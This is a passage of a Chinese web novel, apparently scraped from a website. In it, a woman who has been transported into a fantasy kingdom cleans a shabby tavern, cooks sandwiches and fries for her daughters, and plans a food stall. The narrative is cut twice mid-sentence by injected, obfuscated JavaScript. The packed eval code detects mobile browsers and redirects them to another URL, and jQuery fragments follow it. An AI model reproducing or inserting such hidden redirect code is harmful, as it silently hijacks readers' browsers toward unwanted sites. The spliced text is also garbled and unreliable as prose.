灶台对面的墙上钉了五层长长的橡木置物架,架子两端各摆放了一个顶天立地的橱柜。
架子最下方,一排背篓和陶缸整齐排放,角落里堆了六七个温酒的泥炉。
灶台和置物架中间,也是厨房的中心位置,放置了一张橡木长桌,当料理台使用。
抛开斑驳墙壁、低矮天花板、生锈灯架不提,尤兰达粗略扫过这一方空间,勉强能说一句满意。
很宽敞,四个成年人穿梭其中不显拥挤,完全满足基础操作。
穿过厨房,走向另一端挂了帘子的拱形门,绕过积灰的木质柜台和酒架,正式进入店面经营区域。
店面四四方方,约120多平,配一个公共大壁炉,三扇不大的窗口开在高处,是以采光不好,空气也不太流通。
冬日里有利保温取暖,搁在夏季难免昏暗憋闷。
店门位于西南角,靠近柜台和厨房门,东南角有楼梯通向二楼,一脚踩上去发出令人心惊的“咯吱”声。
二楼比一楼采光好太多,将近170平的总面积,分割出六个大小不一的卧室和一间公共休息室,每间设有一个小巧壁炉和一小扇窗口,满足客人住宿、社交需求。
租户搬走后,装饰物和家具桌椅一并搬走,一眼望过去,稍显磕碜。
三楼没什么可看的,和她从外面观察的一致。
单说这间临街的店铺,缺点不少,优点也特别明显——大
从城门一路过来时她就发现了,不管哪条街,凡是做餐饮的,铺面都比其他商店开阔一倍不止。
尤兰达从厨房后门退出来,走向后院。
后院做为生产生活区域,对比前面的铺子略显紧凑,好在麻雀虽小五脏俱全。
柴棚、工具房、仓库房、杂物棚,一块杂草丛生的菜地,一间木板搭建的简易旱厕,以及一栋茅草屋顶的二层砖石小楼。
小楼做为店主一家的住宅使用,也会是她们未来的住处。
尤兰达粗略扫一眼院子,径直来到小楼前,踢开虚掩的屋门,捂住口鼻走进去。
一楼分割出一间主卧室和一个公共起居区,二楼分出两间卧室,三间卧室都砌了壁炉,各配一张光秃秃的床架子和斗柜。
院子几经租赁,陈旧在所难免,所幸原身收房时严格检查,不影响她们正常使用,打扫打扫就能住人。
比起流落街头等死,能住进这样的房子算万幸,只等换上新陶瓦便能重新经营。
至于以后靠什么糊口,尤兰达决定重操旧业——开饭馆。
当然,饭馆不是说开立刻就能开起来的,少说需要筹备一两个月。
换瓦片、订菜单、买食材、采购家具厨具、市议厅办理手续等事项少不了要办,期间,囤积过冬物物资差不多也该提上日程。
仔细盘算,桩桩件件全是事,全都要花钱、花时间、花精力。
她不缺精力和时间,就差钱,很多钱。
不说采购的钱,单拎出一个预缴税金,就够她愁的了。
黑森王国又一令人费解的规定,商铺开业前,需向有关行会预缴一个月的税金,少补多不退的那种。
还没赚钱呢,先交出去一堆税,槽多无口。
再三思索,尤兰达决定从小吃摊干起,赚钱攒钱,赶在冬季来临前把饭馆开起来。
“老鼠!有老鼠!”
“上帝啊,该死的老鼠!我要回家呜呜呜……”
尤兰达想着怎么尽快安顿下来,院子里忽然爆发出女孩们的吱哇乱叫。
她快步跑进院子,就见两个女孩狼狈地跳上石磨,扯着嗓门用声波攻击老鼠。
又惨又好笑。
尤兰达忍笑拿来扫把挥舞两下,告诉她们已经赶跑了老鼠。
两个女孩哭唧唧确认半天,一脸后怕地跳下来。
菲奥娜惊魂未定:“妈妈,爸爸不要我们了,你什么时候给我们找新爸爸?我不想住在这里。”
西芙拉心疼地摸了摸被老鼠抓勾丝的裙摆,连连点头:“菲奥娜说的对,我们应该有新的爸爸了。”
尤兰达:……
可真是她的好女儿啊。
尤兰达板起脸,模仿原身的语调:“我想你们应该闭上嘴巴。好了,去井边打水,我们要在天黑前把卧室打扫出来。”
一听要自己动手打扫卫生,两个女孩立刻撅起嘴。
尤兰达双手叉腰,眼睛一瞪,两人不敢吱声,缩着脖子去车马棚。
见她们磨磨蹭蹭走远,尤兰达撤回脸上的怒容,轻叹一口气。
她暂时没能学会怎么和她们相处,幸好原身的威严尚在,还能震住两人。
打来井水,分发清扫工具,尤兰达迫不及待推开所有门窗通风。
待空气里的怪味散去一些,她裹紧头巾,穿上围裙,高举长柄扫帚,搅掉房檐屋角的蛛网,扫去梁上的浮尘,湿抹布一遍遍擦洗床架和斗柜。
三下五除二,一楼主卧和起居区域打扫干净,她快步回到马车上,翻找出床幔和被褥。
床幔挽个圈扎起,轻轻扯松,床板铺上羊皮毡和亚麻床单,薄被与枕头丢上床,卧室看起来像点样子了。
尤兰达还想继续搬行李,肚子忽然咕咕叫。抬头探出窗一看,日头高挂,该吃早饭了。
刚想到这里,二楼传来“咚”的一声重响,尤兰达不放心,脚步一转,上楼查看。
楼梯爬了一半,不等踏入二楼区域,她就沉默了。
眼前的景象只能说不出她预料。
西芙拉和菲奥娜徒劳地挥舞扫帚,满屋灰尘乱飞,空气质量直线下降。
“停停停!听我的,先扫走高处的灰尘……”尤兰达及时阻止了她们的无效劳动,简明扼要讲解打扫顺序和原因,抛出诱惑:“我去准备早餐,什么时候清理完灰尘,我们什么时候开饭。”
西芙拉拍打身上的蛛丝,表情痛苦又期待:“妈妈,是昨晚那个、那个……”她卡住了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200980|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想不起新奇食物的名字。
“无米蛋炒饭?”尤兰达接过话头,“不,早饭吃三明治。”
“嗷——”菲奥娜失望地嗷一嗓子,“我喜欢昨晚的炒饭。”
她摸向自己被束腰勒紧的腰腹,吞咽口水,“等我脱了这玩意儿,我发誓我能多吃一大碗!”
因长久的节食和束腰的限制,母女三人的饭量十分小,昨晚那份“无米蛋炒饭”她们努力了半天,最后仍剩下不少。
“如果你们今天表现不错,”她抛出诱饵,“晚餐可以考虑再吃一次。”
一剂强心针扎下来,两位灰头土脸的小姐瞬间干劲满满。
尤兰达转身下楼,径直来到马车旁。
翻找出需要的东西,搬来泥炉放在院中空地,随后去柴房扒出几根上任租户遗落的木柴,放入干草用燧石点燃。
几次失败尝试,火苗终于蹿起,火势稳定后,尤兰达快速架上陶锅。
放上培根片,小火慢煎至香气四溢、微微卷曲后,借着底油打入三枚鸡蛋,煎成边缘带漂亮焦圈的荷包蛋,先后盛出备用。
陶锅无需清洗,挪至一旁放凉后添水,再架回泥炉上烧到水面冒热气,撕下几片卷心菜嫩叶下锅荡一荡,烫去生涩即可。
倒掉热水后,只需调成小火融化黄油,厚切的白面包片平铺锅底,没一会就吸饱了淡黄乳脂,变得绵软。
熄掉柴火,借着锅内余温,金黄的煎蛋、焦香的培根、翠绿的卷心菜叶依次铺进去,放几片新鲜番茄,饱满厚实的培根煎蛋三明治便完成了。
简单用刀身按压紧实,斜切成两半,露出层次分明的馅料,摆进干净餐盘里,倒上三杯葡萄汁,这就是母女三人的早餐。
三明治省时省事,花费时间不如翻找工具的时间多。
“妈妈,我们扫完了,真的扫完了!”楼上传来西芙拉和菲奥娜雀跃的呼喊。
两人慢吞吞擦拭门窗,回味无米蛋炒饭的滋味,直到院中传来滋啦滋啦的动静,趴上窗口一张望,热烈的油脂香气快勾走了她们的魂。
原来三明治是这个味道。
她们加速动作,紧赶慢赶才赶上食物出锅。
噔噔噔,两个女孩飞奔下楼,像雨过天晴的赛里木湖一样的蓝眼睛,巴巴黏着餐盘。
“干得不错,”尤兰达端着托盘进了屋子,“去洗手,开饭吧。”
她们欢呼一声,冲到水桶边囫囵擦了擦手又冲回屋子,抓起三明治大口咬下去。
只一瞬间,她们的眼睛瞪得溜圆,含着三明治忘记了咀嚼。
食材简单平常,口感意外的丰富扎实,脆与软、咸与鲜、温与凉,搭配的完美,既不干柴也不腻人。
细细咀嚼几下,食材充分交融,培根的咸香在舌尖蔓延,番茄的微酸掺和柔软的蛋黄,包裹住绿叶菜的清新,焦脆的煎蛋带着奇异的弹牙感。融进面包的黄油若有似无,恨不得多咬上两口好好品味。
两人大口大口吞咽,腮帮子鼓囊囊。
没一会,她们彼此对视一眼,默契地放下三明治,抱起裙摆跑上楼。
尤兰达疑惑看向两人。
菲奥娜含糊不清地说:“我现在就要脱掉该死的束腰。”
西芙拉补充:“它影响我们享用三明治了。”
尤兰达哭笑不得,新的想法随之冒出脑海。
摆摊卖三明治或许可行。
5. 第 5 章
“妈妈,你一定是天使,只有天使才能变出这么美味的食物。”
“我发誓,即使皇宫舞会的烤鹿肉、烤孔雀摆在我面前,也不会比三明治更吸引我。”
两个女儿神情餍足,抱着鼓胀的肚子,不遗余力地吹捧。
尤兰达冒出一身鸡皮疙瘩。
俩小老外确实没吃过什么好东西,一顿三明治轻松拿捏。
没见过世面好啊,她的小吃摊大有可为。
西芙拉打了饱嗝,嘀咕:“真奇怪,为什么以前没觉得培根香香的?”
菲奥娜自信接话:“笨蛋姐姐,以前料理培根的是厨娘,她的厨艺没有妈妈的厉害。”
姐妹俩叽叽咕咕,尤兰达听完,心虚地抹了抹脑门。
幸好原身自诩身份尊贵,从不下厨。
刚松一口气,随即心念一动,尤兰达想起另一件事。
培根、火腿、肉肠、咸肉、鲜肉这类食材,是富裕人家才能常享的奢侈,从尼尔森家带出的食材虽然数量不少,却支撑不起一门生意。
除非她找到培根的平替,做出便宜的三明治。
可再便宜,三明治所需的白面包不能少,比起酸溜溜的黑麦面包,白面包价格高出好几个铜币。
成本拉高了,定价不可能低,寻常人消费不起,冒然动作大概率赔本。
她手里的三瓜俩枣,进货采买食材的钱都扣不出来,再赔底裤就没了。
才起了摆摊卖三明治的念头,一顿饭不到,直接打消。
最后一滴葡萄汁喝完,餐具堆进井边的洗碗盆,留待攒够草木灰一起清洗。
母女三人歇息片刻,重新投入新居打扫。
她们合力将一台台箱笼陆续搬进屋,领走各自的物品去收拾。
皮箱铺上粗麻布充当床头桌;藤箱塞满厚毛毯皮毡,一举托上衣柜顶;烛台、银镜与洗漱用具各归其位;天鹅绒窗帘拍去浮灰高高挂起。
起居室,油灯摆上矮柜,沙漏立于壁炉台,陶壶茶杯端上木桌,地毯平铺靠椅前。
只半天工夫,她们的新家大变样,温馨又舒适。
连西芙拉、菲奥娜都停下抱怨,欣赏她们的劳动成果,成就感满满。
“接下来,”尤兰达挽起袖子宣布,“该打扫厨房了。”
尝过无米蛋炒饭和三明治的滋味,两个女孩尤为重视厨房的清洁工作,一人拎着桶,一人拿上扫帚,无需催促,撸起袖子冲进去。
“我的上帝啊,它们真恶心。”
西芙拉皱巴着脸擦拭灶台的黑灰和油污,恨不得扔了手里抹布。
“妈妈,窑炉里面会不会有老鼠?”
菲奥娜拿着扫帚当武器,这里捣捣那里挥挥,不敢靠近半步。
行,能干活就好,吐槽几句无妨。
尤兰达对她们的要求不高,见两人有模有样地打扫,绕去前门推开门窗通风换气。
霎时间,数道光束斜斜射入,墙壁上经年累月被油灯熏出的痕迹清晰可见,夯土地面的坑洼一目了然。
尤兰达驻足店门口,回身望了望矮人巷。
小巷店铺多不胜数,不规律的嘈杂交织出市井旋律。
她倚上溪边栏杆,侧身朝矮人巷所在的主街贝壳街望去。
贝壳街坐落于平民区,天气好的时候人声鼎沸。
背箩筐卖蔬果的、推小车的卖日用品的、挎着篮子卖果酱、鲜花的,叫卖声此起彼伏。几个孩童欢笑着奔跑经过,紧追前方缓慢行进的骆驼商队。
人声、车轮声、牲畜的响鼻声混杂,鲜活的人间烟火气扑面而来。
挺好,人流量大,开饭馆不愁没人光顾。
她又抬头望向天边。
明媚阳光慷慨挥洒,大团云朵慵懒停泊于天边。
巷子口的橡树枝桠在风里摇晃,投下跳跃的光斑,门前溪水奔流不息,溅起碎银般的水沫。
尤兰达仿佛闯进了流动的油画。
“夫人,要买木柴吗?有橡木、松木、秸秆以及木柴球,长期订购有优惠。”
正观察未来的生活环境,半大的孩子冷不丁冒出来兜售木柴。
尤兰达乐了,原来这时候就有上门推销业务。
她习惯性拒绝,一张口想起柴房剩下的零散木头不够烧下顿饭的,遂改口:“一捆多少钱?”
背着麻布小包的孩子流利报价:“橡木一捆55铜币,松木一捆15铜币,秸秆只需10铜币。木柴球适合当引子,一个1铜币。买点吧,夫人,我们可以送货上门。”
木柴放在当下时代属于民生物资,只要划分进民生物资,定价权就和商人、市场没关系了,全部由政府掌控。木柴行会起到监管的作用,顺便规定死了一捆木柴的长度和重量。
商人售卖时不能随意调整价格,平民采买时无需讨价还价,顶多受气候和季节影响整体波动,省去了货比三家的麻烦。
如果实在舍不得那几个铜币,可以花一天半天去其他伯爵领地采买,税率比皇城低,同样价格到手的木柴能多出几根,买越多越划算。
“一捆松木两捆秸秆,天黑前能送来吗?”
松木一捆约有15根,砍成一米长,搭配秸秆、草屑,仅做饭时使用足够她们撑上两三天。
小孩面色一喜,指了指身后店面,“不用晚祷(18:00),第九时祷(15:00)准时送来。贝壳街矮人巷北1店,对吗?夫人需要先交15铜币。”
尤兰达掏出羊皮小包数出15枚铜币,接下小孩递来的写有木柴铺名字地址的木牌,方便下午交货。
做成一单生意,小孩高兴问:“夫人,您是新搬来的吧?需要小约翰为您的铺子清粪吗?”
尤兰达神情微动,十三四岁的孩子竟然打两份工?
小孩腼腆一笑:“不,是我的朋友小约翰,他负责矮人巷北的清粪工作,每天晚祷后他会上门清收粪便,一天只需1铜币。
假如还需清洗粪桶,那么就是2铜币1天,一周一结提前付款。”
尤兰达一算价格,忍不住咋舌。仅吃喝拉撒的花费,一周的生活成本逼近100铜币。
皇城居,大不易啊。
“不雇佣清粪工我该怎么办?”她问。
“夫人得自己提着粪桶走去贝壳街尾的粪塔倾倒,那里可不近呢。”
尤兰达别无选择:“晚上带小约翰一起过来,我需要他的帮助。”
小孩更高兴了,原地蹦了蹦,“好的好心夫人,愿上帝保佑你。我叫大约翰,下午见。”
目送小孩跑远,赚钱的紧迫感瞬间攫住了尤兰达。
处处要花钱,不赚钱真没法活。
她折回厨房取来抹布与水桶,开始彻底清扫:置物架、料理台逐一擦洗,锅灶用粗麻布狠狠刮去积年的油垢。
“动作轻点孩子们,去把马车上剩下的东西搬来厨房,放桌子上我来归整。”
两个女孩应声而去,尤兰达伸展一下腰背,趁这会工夫走向后院菜园。
菜园紧挨着车马棚,四四方方约有20平,种了家家户户顿顿必备的食材。
迷迭香、罗勒叶、薄荷、百里香、香葱、韭葱,分别栽进木板钉成的长条花盆里,沿墙架起,做饭时随取随用。
香草之外,蔬菜占地最多,芥菜、欧芹、洋葱、卷心菜、芜菁、莴苣、番茄,各占一小块地。墙角的豌豆藤沿着墙壁爬满了车马棚棚顶,肆意铺展。
尤兰达敢保证,但凡有居民在自家开辟菜园子,绝对少不了种这几样。
好打理、耐储存、不挑土质,能省下不少买菜钱。
菜地与杂物棚之间杵着一棵柠檬树,枝头挂满沉甸甸的果实,眼看要由青转黄。
杂物棚与工具房和仓库的屋顶相连,上面的葡萄藤纵横交错,叶片足有巴掌大。
熟烂的果子东一堆西一堆掉落在木板屋顶上,引来鸟雀哄抢,啾鸣声与“咄咄”的叨食声响交替出现。
推开仓库和工具房的门,里面堆了不少农具和陶缸,仓库一角有洞口通向地窖。
尤兰达下去瞧了一眼,面积不大,适合储藏酒水。
越收拾,她越喜欢这一方小院,穿越前她哪有机会过上自给自足的田园生活啊。
也多亏了原身的“斤斤计较”和“不好说话”,收房时强硬要求租户大清扫,替她省了不少麻烦。
拔草、浇水、清理烂果和鸟粪,粗略收拾一下,后院干净整洁。
此时太阳当头照,两个女孩早搬完了行李,躲进起居室打盹。
尤兰达没有叫醒她们,去厨房归置厨具。
这是她安身立命的战场,自己亲手布置用起来才顺手。
三口铁锅放入灶眼,多出的一口灶眼放铜锅,专门烧热水。
这里的人习惯靠葡萄汁和啤酒解渴,对尤兰达来说太腻,远不如白开水有效。
陶锅、铜锅放在灶台边方便更换,调味料摆上料理桌中央,小麦、大麦、土豆等倒进陶缸储藏,肉肠、培根挂上房梁。
尤兰达干活麻利,忙到差不多时,铛铛铛的钟声远远传来。
这是中午12点开始的第六时祷,没想到这么快又到了吃午饭的时间。
尤兰达提来小野餐篮,倒出昨夜烹煮过的土豆,决定做家常版肉汁薯条。
熟土豆放进陶碗捣成绵密的泥状,洒少许小麦粉、舀两勺橄榄油,搅拌搅拌均匀铺上陶盘,静置晾凉。
接下来是肉汁薯条的灵魂所在——调制酱汁。
新鲜的猪肉、牛肉很贵,暂时吃不起,尤兰达就地取材创新一下,选择肉酱代替。
零碎的柴火不经用,她放弃铁锅,抱来做早饭的泥炉点燃。
番茄划开十字刀痕去皮,丰腴果肉切碎放进陶锅炖煮,木勺不停画圈,少量多次倒入苹果醋、麦芽糖和粗盐调味。
酸甜适度了,直熬到汁水浓稠,挖出两勺咸肉酱混进去融合。
尤兰达尝了尝,酸得明亮,甜得柔和,咸得恰到好处,番茄味十分浓郁,配薯条吃正合适。
最后一步是炸薯条。
陶锅冲水洗净后倒入半罐猪油,等油热的工夫切一指宽的长薯条。
油面冒出细密波纹时刚好,薯条缓慢沿锅边滑入炸制定型。
“噼啪、滋啦……”
金黄的泡沫欢腾着涌起,薯条的边缘迅速变成脆壳。
-
托马斯从未觉得哪一天像今天这样难熬。
自从早上闻到一股陌生的食物香气,那香气便一直萦绕鼻尖,勾着他的心神。
像培根,又不止于培根,混合着他无法描述的、令人心头发痒的焦香。
他踮起脚绕着鞋铺院子嗅了一圈,分不清味道从哪飘来。
海螺巷的酒馆?矮人巷的面包坊?总不会是隔壁老杰克家的酒坊吧?
托马斯吞了吞唾沫,如往常一样做鞋底、划皮革。他手里动作不停,心思却全系在了香气上。
好不容易捱到早午饭时间,托马斯冲向矮人巷唯一的餐馆,咬牙点来一份加了培根碎的菠菜麦粥。
刚入口嚼两下,托马斯肉眼可见的失落——味道不对,不是这家店。
托马斯也更加确信,他早上闻到的香味绝对出自培根。
他想不通,为什么培根能散发出那样独特的油脂气味,衬得手里的麦粥都不香了。
他花了整整十个铜币呢。
托马斯味同嚼蜡,为了不浪费钱硬吃完一整碗,失魂落魄回鞋铺。
正午祷告的钟声敲响,新一轮的工作即将开始。
托马斯埋首干活,心里盘算
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200981|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着晚饭去另一家酒馆探探,希望能拯救他可怜的味蕾。
正暗自祈祷,不知哪里又飘来了香气,诱人的、陌生的、他描述不出来的食物香气。
“好、好香~~”旁边的学徒亨利深吸一口气,曲起手肘碰了碰他,“嘿,托马斯,你闻到了吧?”
托马斯用力点头:“当然,我鼻子可灵了。事实上,我早上就闻到过类似的香味。”
杂役杰克加入话题:“矮人巷可没多少饭馆酒馆,我猜是海螺巷新开的店,听说很受欢迎呢,可惜我没能进去尝一尝。”
托马斯没想到这么顺利让他打听到了消息,口腔疯狂分泌唾液。
他翻了翻柜台上的木牌,有一双皮鞋订单需要晚祷前送到顾客家。
“杰克,礼服店的舞鞋我去送,这是我新做的鞋子,我想听听夫人们的意见。”
出师的学徒抢杂役的跑腿活计,说出去都没人信,托马斯强忍羞耻编借口。
杰克可太愿意了,一口应下。
托马斯抱上鞋盒一路狂奔,停在海螺巷新开的餐馆前。
他喘着气朝店里张望,眼珠子滴溜溜转。
餐馆果然受欢迎,早午饭的时间过去这么久,依然坐了七八桌食客,正抱着啤酒吹牛打牌,好不热闹。
可空气中并没有他魂牵梦萦的培根焦香。
或许是错过了饭点,没人点那道菜?
托马斯不确定,徘徊片刻后悻悻离开。
他折回矮人巷向主街走,不多时,路过矮人巷巷子口,托马斯注意到关闭许久的北1店店门此刻竟敞开着。
这家酒馆他光顾过几次,食物平平无奇,面包碗硌牙,淡啤酒味道不错。
鬼使神差的,托马斯朝门口挪了几步。
走到门前他才看清,整间铺子除了柜台,里头连张桌椅都没有,根本不像营业的样子。
托马斯耸耸肩,笑自己馋疯了。
矮人巷最不可能的就是这家店,听说房主正急着出售宅子,要价极高,掮客没少吐槽。
一家一家排除,绝对是海螺巷的甜滋滋小餐馆没错了。
晚饭一定去试试!
托马斯舔舔嘴唇,脚步轻快地跑远,仿佛已经尝到了惦记许久的滋味。
—
“怎么样,好吃吗?”
尤兰达满怀期待地望向桌对面的两个女儿。
女孩们脸上残留的睡意早已被惊艳取代,忙着对付盘中的食物,挪不开嘴回应,啄米小鸡般连连点头。
尤兰达放下心来。
低配版加拿大国菜又怎样,照样能抓住洋人的胃。
反正这个世界上,大概也只有她尝过真正原版的肉汁薯条了。
西芙拉眼疾手快,抢下最后一根薯条,滚满浓稠的殷红酱汁,啊呜一口塞进嘴里,眼睛眯成了月牙。
菲奥娜控诉几句,索性夺过陶盘,指尖蘸起盘底残余的酱汁送到嘴边。
“妈妈,它叫什么名字?”她贪婪地嗦着指尖,追问,“你是怎么想到做出这样的味道?太令人惊喜了。”
尤兰达的回答听不出半点心虚:“肉汁薯条,我新研究的菜品。”
西芙拉捧着脸,语气激动:“妈妈,你的手一定被上帝吻过。”
尤兰达谦虚微笑,暗暗纠正:不,上帝没有吻过她的手,只是掉包了灵魂。
忽悠完两个孩子,尤兰达转身去翻箩筐。
置物架下的藤筐满的几乎溢出来,全是从尼尔森家带来的土豆,做成手指粗、筷子长的大薯条,摆摊卖上两三天不成问题。
土豆做为餐桌主食之一,价格受到政府严格管控,大部分时候1银币可以买来两麻袋土豆,约20公斤左右,十分便宜。
转瞬间,尤兰达便敲定了土豆作为小吃摊的核心食材。
土豆好啊,煎、炸、蒸、煮、烤、炒、炖……花样繁多,怎么做都好吃,且价格亲民,耐储存。
考虑到外国佬的口味偏好,以及小吃摊需要出餐快、易携带、复购率高的特点,尤兰达的脑海里立刻浮现出家喻户晓的快餐巨头M记。
做为M记复购机器、销冠之王,薯条配番茄酱的经典组合早已超越单纯的佐餐关系,深植人心,成为一种近乎本能的文化符号与味觉记忆。
其背后所展现的商业生命力与市场号召力,堪称惊人。
有现成的、历经全球市场验证的成功案例摆在眼前,不“参考借鉴”一下,实在说不过去。
只一个番茄酱不够,多添一个蜂蜜芥末酱或者甜辣酱,更好满足不同口味。
尤兰达翻找一通,辣椒存货不多,磨成粉的芥末籽却有满满一罐。
芥菜是黑森王国全民普及的平价蔬菜,芥末顺势成了普罗大众餐桌上不可或缺的辣味调料。
当地人习惯将芥末和果醋、柠檬汁拌在一起配面包,味道以辛辣为主、酸甜为辅,冲劲十足,与她记忆中搭配炸鸡年糕等小食的甜酸风味芥末酱截然不同。
尤兰达四处搜罗,不一会找出一篮子番茄、一罐麦芽糖、一罐白醋栗酱、一罐芥末粉、洋葱几颗。熬制酱汁的主要食材,倒也凑出个七七八八。
两个女孩吃饱喝足,高高兴兴回房间补觉。尤兰达不敢睡,生怕一下午稀里糊涂睡过去耽误事。
强忍困倦打了个呵欠,尤兰达晃进后院,舀一盆燕麦倒进车马棚的石槽,打来一桶水放在一侧。
她顺毛摸了摸通体漆黑的骏马,心中惆怅:“以后叫你大G好了。”
谨以此名纪念她付了全款,却没机会提回家的某辆大G吧。
就是不知道,得知自己的爱马被人拐走,她的前任老公会不会气晕。
何况他丢失的不止一匹马。
幸灾乐祸一阵,尤兰达拿上羊皮钱包,挎着篮子出门采购。
6. 第 6 章
“午安,夫人。请问……您是这家店的新租户吗?”
锁上院门,一转身,冷不丁撞见店门前徘徊的络腮胡壮汉,尤兰达吓得瞌睡虫跑光了。
络腮胡男人搓了搓手,歉然后退两步。
中午时分,一股奇异的香气飘进了伯纳德经营的裁缝铺,上门裁衣的客人频频追问来源。
他知道的并不比客人们多多少,生意一结束,便循着气味一路嗅到了巷子口的北1号店。
伯纳德对这家酒馆很熟悉,以前的他可是常客,生意太忙顾不上吃饭时,经常遣杂役点一碗麦粥。
他探头望了望,铺子里空无一人,柜台积了厚厚一层灰。
可附近就数这里的气味最为鲜明。
店铺换新的租户了?这么香,是开饭馆的吧?
伯纳德准备进去问问,才迈开脚,身形高挑、体态丰腴的美丽女人挎着篮子掀起布帘子从厨房走出来。
出于职业习惯,伯纳德率先观察女人的衣着。
纱裙做工精致、分层细腻,外罩一件缀了蕾丝花边的亚麻布罩裙,搭在篮子边沿的手指白皙、细长。
女人身上找不到一点劳作痕迹。
好吧,他好像弄错了。
伯纳德略显尴尬的开启话题,试图为自己莽撞的行为描补一二。
对面女人闻言抬头,碧绿眼眸疏淡瞥来,“算是吧。”
尤兰达摸不清来人的意图,随口敷衍。想到两个女孩留守家中,她连店门一起锁上。
伯纳德察觉出她的戒备,指向不远处的招牌:“夫人请别误会,我是北4号店的伯纳德,经营着一家裁缝铺。”
尤兰达礼貌颔首:“尤兰达·费尔南多,下个月或者下下个月正式经营北1店。”
伯纳德十分捧场地道贺,没来由的说起上一任租户的酒馆,东拉西扯一通,直到尤兰达流露出急着离开的神色,终于切入正题:
“……不知您是否闻到附近有什么特别的气味?我的客人们很好奇,老实说,我也想知道那是什么味道,它们很独特、很陌生,又很吸引人。”
尤兰达转动脑袋嗅了嗅,并没有什么独特、吸引人的味道。
她耸耸肩,爱莫能助:“我一直在打扫院子,没有注意到,多半是从别处飘来的吧。”
伯纳德遗憾地摊了摊手,道了声谢,却并未急着离开。
他依旧耸动着鼻子来回搜寻什么,嘴里念念有词:
“上帝啊,这太奇怪了,明明在附近才对。”
尤兰达只觉得胡子男古古怪怪,遂加快脚步离开。
午后的贝壳街比清晨更喧闹几分。
人流攒动中,腥的、臭的、酸的、刺鼻的,各种气味野蛮交织,袭击她的鼻腔。
尤兰达不仅要忍受原身身上散发的混合香水的微馊体味,还要分心提防擦肩而过的行人,避开他们身上袭来的浓烈汗臭与狐臊。
她好不容易从一波人流中挤出来,缩进街角空旷处喘口气,没一会,一队身穿亮银铠甲、披着深蓝披风的骑士拨开人群横穿过来。
他们停在不远处的市政布告栏前,为首者展开一卷羊皮纸张贴上去。
霎时间,前后左右不知从哪儿冒出了无数人头,人潮像被磁石吸引般汹涌挤向布告栏。
尤兰达裹挟其中,眼白翻上天,险些没被熏死。
“国王下悬赏令,征召勇士前往森林深处驱赶巨人……天呐,赏金足足有100枚金币呢!”
“要我说,不如去黑暗森林邀请精灵帮忙,他们身手敏捷,正好夏收结束,精灵们该来皇城屯粮食过冬了。”
“糊涂的老杰克,你忘了精灵王不喜欢精灵们为人族做事吗?
不如多花点前去魔法学园请大魔法师,前几次驱赶巨人的勇士可都没能回来呢。”
巨人、精灵、魔法师……听起来可真童话。
尤兰达两眼发直,脚步虚浮地离开,很快抵达百米外一条叫泥陶巷的地方。
泥陶巷汇集了平民区大多数的陶匠工坊,大小窑炉日夜不停烧。
尚未正式进入泥陶巷,一股热烘烘、混合了黏土与柴火的气息扑面而来,沉滞而滚烫。
走进巷子,叮叮当当的敲打声、轮盘转动的嗡嗡声、还有学徒搬运时含糊的吆喝此起彼伏。
巷子两旁挤满了低矮的工坊,清一色前店后坊的格局,烧好的陶罐陶碗摆满不大的铺面。
尤兰达在一家挂着“老格伦陶器”木牌的铺子前停下脚步。
这家店原身来过,货比十几家后找出来的最具性价比的店铺。
当然,询价过后原身纠结许多天,最后也没舍得换陶瓦。
尤兰达一走进店,看店的白发灰眼睛老头当即认出她。
“哦,是你啊夫人,考虑好换陶瓦了?”老格伦擦去手上的泥浆,走出柜台招待顾客,“我想想,贝壳街矮人巷北1店是吗?你来过许多回了。”
尤兰达忍不住替原身尴尬,“……没错。”
老头抱起一沓羊皮纸,翻了好一会抽出其中一张,贴着鼻尖:“让我瞧瞧,换三楼房顶、小型弧形瓦……需要橡木板和干草防水,订购4000片,对吗?”
尤兰达忍痛点头。
老格伦工坊的小型弧形陶瓦售价1铜币5片,4000片就是800铜币,也就是8银币,刚好用光她的存款。
而且需要换瓦片的不止店铺房顶,还有母女三人居住的二层楼,陶瓦总数量起码要再翻一倍。
保守估计8000片陶瓦,全部换完说一句倾家荡产不过分。
“有回收的旧陶瓦吗?”她窘迫地问。
老格伦习以为常,面色不变:“当然有,1铜币15片,不过已经不剩多少。2000片?3000?不会更多了。”
“完整的旧陶瓦有多少要多少,剩下的新陶瓦补上,一共订4000片。”
住宅的屋顶可以暂时搁置,冬季来临前换上即可,店铺的陶瓦必须先安排上。
老格伦不紧不慢记录:“好的夫人,会为您安排五位匠人,月底之前一定能完工。你得提前支付一部分铜币,我算算……”
他停顿一会,在一旁写写画画:“有了,提前付400铜币。详细费用恐怕要在最后一天结算才能确定,一般来说不会超过10银币。”
换陶瓦的钱省不掉,尤兰达利落掏出羊皮包。
“如果我支付4枚银币,”她将银币推上柜台,“能否优惠些?”
老格伦脸上的皱纹都舒展了,爽快点头:“当然,橡木板和干草的费用可以免去,怎么样?”
尤兰达微笑:“您真慷慨。”
日常生活多以铜币交易,银币较少流通,金币几乎看不见身影,是以,金银币通常用作书面记账。
比如尤兰达支付过去400枚铜币,老格伦会记作4银币。
如果支付425铜币,则记作4银币,25铜币。
铜币有贬值风险,金银币则稳定许多,大家手里但凡有点余钱,都会想办法在年底前将攒下的铜币兑换成金银币。这是所有人心照不宣的理财方式。
不过那时候,常常需要120铜币、甚至140铜币,才能从大商人手里换来1银币。
